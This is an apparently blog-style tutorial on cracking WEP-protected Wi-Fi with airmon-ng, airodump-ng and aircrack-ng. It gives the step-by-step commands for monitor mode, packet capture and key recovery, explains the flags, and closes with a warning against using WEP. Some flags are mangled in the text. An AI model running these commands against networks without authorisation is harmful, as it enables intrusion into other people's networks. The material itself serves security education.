Cracking WEP

Software what you need and where to get them

Airmon-ng For setting card to monitor mode.
Airodump-ng For capturing data for aircrack-ng.
Aircrack-ng For cracking password.

Main steps for cracking WEP

Finding and identificated which network you want to crack (kismet)

Collect data for cracking (airodump-ng)

Use that collected data and run aircrack-ng against it (aircrack-ng)

Get your wireless nic to monitor mode

First we have to check wireless nic modes:
[cc lang=”bash”]# sudo airmon-ng[/cc]
And if you see there example ath0 stop it:
[cc lang=”bash”]# sudo airmon-ng stop ath0[/cc]
Use airmon-ng to turn your wireless nic to monitor mode so it can receive packages:
[cc lang=”bash”]# sudo airmon-ng start wifi[/cc]

Collecting data with airodump-ng

[cc lang=”bash”]# sudo airodump-ng -c 8 – -bssid 00:11:22:33:44:FF -w capture -i ath0[/cc]

airodump-ng Name of that software what you run
-c Channel (From what channel you want to capture data)
-w Set the filename where airodump-ng saves captured data
-bssid bssid of that network which data you want to capture
-i Interface what you want to use for capturing data
–encrypt WEP Capturing data only from networks which are protected with WEP

If you are lazy and just want to capture everything on the air:
[cc lang=”bash”]# sudo airodump-ng -w capture -i ath0[/cc]
I normally use something between those:
[cc lang=”bash”]# sudo airodump-ng -w capture -i ath0 –encrypt WEP[/cc]

When you have captured some data packages from that network which you wanna crack you can leave airodump-ng running and capturing data and open new terminal window/tab and start to run aircrack-ng.



Cracking WEP with aircrack-ng

[cc lang=”bash”]# sudo aircrack-ng -m 00:19:E3:FC:57:E2 -n 128 capture.cap[/cc]
[cc lang=”bash”]# sudo aircrack-ng capture.cap[/cc]

Gives you list of those wireless networks which data you have captured to capture.cap file and then you can choose which network you want to crack.



[warning]WEP is so easy to crack that you should never ever use it anywhere.[/warning]

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